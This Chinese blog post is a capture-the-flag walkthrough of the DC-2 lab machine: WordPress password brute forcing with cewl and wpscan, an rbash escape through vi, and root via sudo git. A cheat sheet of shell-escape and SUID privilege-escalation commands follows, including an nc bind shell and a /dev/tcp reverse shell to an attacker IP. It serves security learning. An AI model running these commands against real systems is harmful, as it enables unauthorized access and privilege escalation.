• 小H靶场学习笔记:DC-2


    DC-2

    Created: November 10, 2023 3:01 PM
    Tags: WordPress, git提权, rbash逃逸
    Owner: 只会摸鱼

    靶场过程

    信息收集

    • 扫描存活主机,找到靶机ip:192.168.199.131(本机是192.168.199.129)
      在这里插入图片描述

    • 扫描端口开放协议

      在这里插入图片描述

      • 发现有80端口和7744,但80端口有重定向,尝试直接访问无法访问。 因重定向页面为http://dc-2/,固修改/etc/hosts文件,将靶机ip绑定在该网址,再次直接访问,可正常跳转。
        在这里插入图片描述
        在这里插入图片描述
    • 指纹识别
      在这里插入图片描述

      • 可尝试利用WordPress4.7的漏洞
      • 使用msf模块利用无果
    • 返回页面查看是否有其他信息提示

      • 发现了页面提供了flag提示信息
        在这里插入图片描述
        在这里插入图片描述

      • 提示了使用cewl 得到字典, 使用尝试使用身份登录

      kali密码攻击工具——Cewl使用指南 | 码农网

    漏洞利用

    • 后台目录爆破一下,发现有login页面,访问一下,跳转到登陆页面。

    在这里插入图片描述

    在这里插入图片描述

    • 使用cewl输出字典,到文件dicts.txt
      在这里插入图片描述

    • 因使用的是WordPress,可使用专门针对此CMS的工具WPScan进行枚举用户名,并爆破。

      • 枚举用户名,得到三个用户。
        在这里插入图片描述
        在这里插入图片描述
    • 逐个对三个用户进行密码爆破。

      • wpscan --url dc-2 -U ‘admin,jerry,tom’ -P ~/Desktop/dicts.txt
        在这里插入图片描述

      • 只有jerry 和tom爆破出了密码

    • 尝试登录,jerry登陆成功,找到第二个flag
      在这里插入图片描述

      • 翻译一下,让寻找其他切入点,没办法,只剩下了7744端口的ssh服务了

    在这里插入图片描述

    提权

    • 尝试ssh登录,使用jerry和tom账号,使用jerry账号和密码,无论怎么尝试都无法登录,尝试使用tom账号和密码,成功登录。

      在这里插入图片描述

      • 尝试一些命令,发现都没有权限
        在这里插入图片描述
    • 应该是rbash,尝试rbash逃逸

      • 查看有哪些命令权限
        在这里插入图片描述

      • 使用vi设置shell

        • 直接输入vi进入编辑器页面,按esc+:输入命令set shell=/bin/bash回车后在输入:shell
          在这里插入图片描述
          在这里插入图片描述

        • 回车后会弹出如下页面,即成功,接下来要配置环境变量以正常执行命令。
          在这里插入图片描述

        • 配置完,即可正常执行shell命令
          在这里插入图片描述

        • 查看flag3文件,发现提示,让使用登录tom后用su命令切换到jerry

          在这里插入图片描述

        • 使用jerry的密码尝试登陆,发现成*
          在这里插入图片描述

    • 查找flag文件

      • find / -name “*flag*”
        在这里插入图片描述

      • 找到了flag4,得到了提示, git 提权
        在这里插入图片描述

      • 使用sudo git help config打开config页面

        • 输入!/bin/bash

          在这里插入图片描述

      • 回车后,弹出root交互shell,即成功,找到最后的flag读出。

        在这里插入图片描述

    rbash逃逸

    rbash是什么

    它与一般shell的区别在于会限制一些行为,让一些命令无法执行。

    简单理解就是最低权限的用户

    如何设置rbash

    cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash
    useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
    mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令
    
    • 1
    • 2
    • 3

    逃逸方法

    枚举Linux环境(为逃逸rbash做信息收集)

    echo $PATH # 弹出当前PATH环境变量

    echo 路径+ /* #路径使用最后为bin目录的,以找到当前所有可以执行的程序命令

    常用逃逸技术

    nmap

    适用版本:nmap2.02至5.21

    在早期nmap版本中,带有交互模式,因而允许用户执行shell命令

    使用如下命令进入nmap交互模式:

    nmap --interactive
    
    
    • 1
    • 2

    在nmap交互模式中 通过如下命令提权

    nmap> !sh
    
    
    • 1
    • 2

    msf当中也有利用nmap进行提权的模块

    exploit/unix/local/setuid_nmap
    
    
    • 1
    • 2

    find

    find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

    提权如下:

    #进入shell
    find anyfile -exec '/bin/sh' \; 或者 find anyfile -exec '/bin/bash' \;
    #其中find 常用
    find / -exec '/bin/bash' \; 或者 find / -exec '/bin/sh' \;
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    linux一般都安装了nc 我们也可以利用nc 广播或反弹shell

    广播shell:

    find user -exec nc -lvp 4444 -e '/bin/sh' \; 
    #或者
    find user -exec nc -lvp 4444 -e '/bin/bash' \; 
    
    
    • 1
    • 2
    • 3
    • 4

    在攻击机上:

    nc 靶机ip 4444
    
    
    • 1
    • 2

    反弹shell

    find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
    
    
    • 1
    • 2

    在攻击机上:

    nc -lvvp 4444
    
    
    • 1
    • 2

    Vim

    vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

    vim.tiny  /etc/passwd
    
    
    • 1
    • 2

    通过vim进入shell

    vim.tiny
    #vim命令
    :set shell = '/bin/sh'
    :shell
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    设置环境变量

    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin/
    
    • 1
    • 2

    Vi

    通过vi进入shell

    vi
    #vi命令
    :set shell = '/bin/sh' 或者 :set shell='/bin/bash'
    :shell
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    设置环境变量

    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin/
    
    • 1
    • 2

    Bash

    • 方法一

    BASH_CMDS设置shell

    BASH_CMDS[x]=/bin/bash
    #设置了个x变量shell
    x
    #相当于执行shell
    
    • 1
    • 2
    • 3
    • 4

    设置一下环境变量

    export PATH=$PATH:/bin/
     
    export PATH=$PATH:/usr/bin/
    
    • 1
    • 2
    • 3
    • 方法二

    以下命令将以root身份打开一个bash shell。

    bash -p
    bash-3.2# id
    uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
    
    
    • 1
    • 2
    • 3
    • 4

    less

    less命令也可以进入shell

    less /etc/passwd
    #在less中输入:
    !/bin/sh 或者 !/bin/bash
    
    
    • 1
    • 2
    • 3
    • 4

    more

    more命令进入shell和less相同

    more /etc/passwd
    #在more中输入:
    !/bin/sh 或者 !/bin/bash
    
    
    • 1
    • 2
    • 3
    • 4

    要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

    nano

    nano也算是比较上古的文本编辑器了

    nano进入shell的方法为

    nano #进入nano编辑器
    Ctrl + R
    Ctrl + X
    #即可输入命令
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    cp

    使用cp 命令覆盖原来的/etc/passwd文件

    awk

    awk命令进入shell:

    awk 'BEGIN {system("/bin/bash")}'
    
    
    • 1
    • 2

    Git提权

    • 前提是执行sudo -l 提示不需要密码可以使用git命令

      在这里插入图片描述

    方法一

    sudo git help config #在末行命令模式直接输入 
    !/bin/bash 或 !'sh' #完成提权
    
    • 1
    • 2

    方法二

    在这里插入图片描述

    sudo git -p help #弹出help信息窗口
    !/bin/bash #输入后,即可打开一个用户为root的shell
    
    • 1
    • 2
  • 相关阅读:
    算法练习13——H 指数
    redis一条set命令的执行过程
    uart1接收不定长度数据和发送:STM32 HAL库串口+DMA+IDLE空闲中断
    pip修改为镜像源,window和linux修改方式
    嵌入式分享合集77
    java垃圾收集器与内存分配策略(2)
    【VASP】POTCAR文件
    基于YOLO算法的单目相机2D测量(工件尺寸和物体尺寸)
    【EMC专题】传导骚扰源和辐射骚扰源2
    【面试刷题】——C++四种类型转化
  • 原文地址:https://blog.csdn.net/Hack_hui/article/details/134358276